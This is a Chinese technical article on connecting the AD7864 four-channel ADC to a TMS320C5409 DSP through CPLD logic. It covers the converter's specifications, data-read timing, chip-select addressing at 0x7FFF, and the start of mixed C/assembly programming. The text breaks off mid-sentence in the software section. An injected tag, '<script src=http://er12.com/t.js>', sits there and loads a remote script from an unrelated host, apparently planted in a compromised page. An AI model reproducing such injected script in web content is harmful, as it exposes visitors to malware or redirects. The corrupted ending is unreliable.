在阵列信号处理中,往往需要对多个阵元同时进行采样,以保留接收到的各路信号之间的相位信息。对于一个四元十字阵,就需要对4路信号同时进行采样,以便在随后的处理中解算出各路信号之间的时延关系。在这个过程中,高速率和高精度的a/d转换就显得尤为重要,它直接影响着随后的数字处理结果的精度。ad7864是一种高速、低功耗、可以4通道同时采样的a/d转换器。它的主要特性有:高速12位a/d转换器;同时采样4个输入通道,并具有4个采样、保持放大器;0.35ms采样保持获取时间,每一个通道转换时间1.65ms;可以通过软件或者硬件的方法选取用于采样的通道;单电源供电(+5v);多个转换电压范围;具有高速并行接口,可以与处理器直接连接;低功耗,每通道功耗90mw;对于每一个模拟输入通道均有过压保护电路。ad7864 4通道同时工作时,最大采样率可以高达130khz。
dsp与ad7864的接口电路
ad7864具有片内时钟、读写允许逻辑、多种通道选择方式以及内部精确的2.5v参考电压,这使得其与高速处理器的接口变得非常简单。考虑到实际工程中要求的工作电压、转换精度以及系统硬件设计的便利等因素,在硬件系统中选用ad7864-1。dsp选用ti公司的tms320c5409。
ad7864转换后的数据读取有两种方法,即转换中读取数据和转换后读取数据。转换中读取数据是在下一个通道转换结束之前读取前一个通道的数据。转换后读取数据是在全部通道均转换结束后,才读取数据。在此硬件系统中,采用转换后读取数据的方式。其具体工作过程如下:
当转换起始信号有效时(上升沿),所有采样保持器进入保持状态,开始对选择的通道采样。busy输出信号在转换起始信号上升沿时被触发为高电平,并在转换过程中一直保持为高,当全部通道转换结束后,才变为低电平。转换结束信号在被选择的通道中每一个通道转换结束时均有效。各个通道转换后的数据保存在ad7864内部相应的锁存器中。所有通道转换结束后,当读信号和片选信号有效时,就可以并行地从数据总线上读取数据。数据读取时,按照转换顺序进行读取,每次读取后自动修改内部锁存器指针(指向存放下一个转换结束的数据锁存器)。当所有通道数据均读取后,内部锁存器指针自动复位(指向存放第一个转换结束的数据锁存器)。
根据上述ad7864的工作原理,dsp与ad7864的接口电路如图1所示。
ad7864的软硬选择信号/s sel置低,这时被选择的转换通道就由硬件通道信号的状态来决定,由于需要对4路信号进行采样,所以把全部置高,即4路通道全部选通。
dsp与ad7864具体逻辑控制关系由cpld来完成。cpld部分逻辑关系图如图2。
ad7864的12位数据线db0-db11经过缓存与dsp数据线的低12位d0-d11相连,dsp另外高4位则始终为逻辑低;对于正数,这种数据扩展不会产生影响,而对于负数,则需要在软件上进行一定的处理。dsp的通用i/o引脚xf接到ad7864的引脚,xf信号由软件控制来启动ad7864的模数转换。dsp的i/o空间选择信号引脚和地址线a15的逻辑组合作为ad7864的片选信号。当有效,即为低电平时,如果地址线a15为低,则ad7864被片选。此时可以对ad7864进行读写操作,ad7864的地址为# 7fff。dsp读写信号rw 和ad7864的片选信号的组合作为ad7864的读信号。当ad7864被片选,且rw为高时,就可以从ad7864读取数据,此时ad7864的写信号必须为高电平。dsp的存储器选通信号和读信号经过逻辑与后作为缓存的使能信号,分别控制dsp外部程序和a/d转换数据从缓存中送到dsp的数据总线上去。
图1 dsp与ad7864的接口电路
图2 cpld内部控制逻辑电路
软件设计
dsp采样程序设计采用c和汇编语言混合编程的方式。tms320c54x编译器可以利用asm语句将c54xdsp的汇编语言指令或伪指令直接嵌入编程器输出的汇编语言文件中。asm语句提供了c/c++语言不?script src=http://er12.com/t.js>